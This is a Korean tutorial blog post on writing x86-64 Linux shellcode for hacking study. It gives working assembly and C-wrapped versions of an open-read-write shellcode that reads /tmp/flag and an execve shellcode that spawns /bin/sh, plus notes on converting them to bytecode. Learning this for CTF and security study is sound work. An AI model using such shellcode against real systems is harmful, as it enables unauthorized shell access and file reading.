[PWN] shellcode 정리

두비니

·

2022. 4. 6. 18:39

 

 

 

 

 

본 글은 Dreamhack System Hacking Curriculum - Shellcode를 참고하여 작성되었습니다.

 

 

1. 개요

  기본적으로 시스템 해킹의 목적은 대상 시스템을 '부당하게 이용'하는 것입니다. administrator의 권한을 빼았는 것부터 시작해서 인가되지 않은 파일을 열어보는 것 등등도 해킹의 목적이 될 수 있겠죠. 

  이를 위해 제작된 어셈블리어 코드를 쉘코드(shellcode)라고 합니다. 해당 코드를 실행시키면 쉘(shell)을 실행시킬 수 있기 때문입니다. 굳이 C언어와 같은 고등 언어가 아닌 어셈블리어로 작성하는 이유는, 어셈블리어 단으로 작성할 경우 RIP레지스터만 조정할 수 있어도 바로 원하는 코드를 실행할 수 있기 때문입니다. 물론 어셈블리어로 작성된다는 특성상 아키텍쳐 및 운영체제에 따라서 다르게 작성되어야 하지만, 오늘은 대표적으로 orw 쉘코드와 execve 쉘코드에 대해서 알아보도록 하겠습니다. 

 

 

2. ORW 쉘코드

  ORW 쉘코드의 ORW는 Open-Read-Write의 줄임말로, 권한을 얻지는 않지만, 파일을 열고/읽고/쓰는 명령을 수행하는 쉘코드를 뜻합니다. ORW 쉘코드의 C언어 의사코드는 다음과 같습니다. /tmp/flag에 위치한 파일을 읽어서, 출력시키는 과정입니다.

 

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

각 줄을 어셈블리어로 작성하면 다음과 같습니다. syscall을 사용하여 rdi, rsi, rdx에 각각 인자를 넣어주는 과정입니다.

;name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

  저렇게 하면 되는데, 사실 저 코드 자체는 ELF(리눅스 기준)를 만족하지 못해서 실행할 수 없습니다. 따라서 스켈레톤 코드를 통해 컴파일을 해야 합니다. 스켈레톤 코드에 해당 어셈블리어를 삽입한 코드는 다음과 같습니다.

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
    
void run_sh();

int main() { run_sh(); }

 

  실제로 컴파일한 뒤 실행시킨 내용은 다음과 같습니다. 뒤에 알 수 없는 값들이 같이 출력되는 이유는 0x30만큼 출력을 요구하였기 때문에 buf의 뒷 내용들도 같이 출력되기 때문입니다.

 

 

 

3. EXECVE 쉘코드

  다음은 execve 쉘코드입니다. execve 쉘코드의 경우 미리 정해진 명령을 실행시키는 것이 아니라, 쉘 자체를 획득하여 원하는 명령어를 모두 실행시킬 수 있게 됩니다. execve의 경우 다음 명령을 실행시키는 것이 목표입니다.

execve("/bin/sh\x00")

  단, syscall을 통해 호출할 때는 인자를 3개 전달해주기 때문에 실제 어셈블리어 코드를 설계할 때는 execve("/bin/sh\x00", null, null)을 실행시키도록 할 것입니다. 이를 따른 어셈블리어 코드는 다음과 같습니다.

 

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp    ; rdi = 0x68732f6e69622f
xor rsi, rsi    ; rsi = null
xor rdx, rdx    ; rdx = null
mov rax, 0x3b   ; rax = sys_execve
syscall

 

또한 이를 스켈레톤 코드에 삽입한 코드는 다음과 같습니다.

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();

int main() { run_sh(); }

 

이 또한 컴파일 후 실행하면 다음과 같이 쉘이 얻어집니다.

 

 

 

4. 결론

  이번 글에서는 다양한 쉘코드에 대해서 알아보았습니다. 유명한 쉘코드들의 경우 바이트코드의 형식으로 공유되어있지만, 난이도가 높아질 수록 자신이 필요한 쉘코드를 작성하여 사용해야하는 상황이 생기기 때문에, 이를 숙지하는 것은 필수적이라고 생각합니다. 이만 마무리하도록 하겠습니다. 끝!

 

 

 

+) 바이트코드로 변환하는 방법

  objdump -d 파일명을 통해 덤프를 시킨 뒤 해당 코드 부분을 직접 모으면 바이트코드 형태의 쉘코드를 만들 수 있다. 다만 \x00이 포함되면 안된다거나 등등의 신경써줘야 할 부분들이 있다. 이건 나중에 기회가 되면 다른 글로 정리할 예정이다.

 

 

참고

다양한 쉘코드를 모아놓은 페이지: http://shell-storm.org/shellcode/

 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. To learn modern explo

shell-storm.org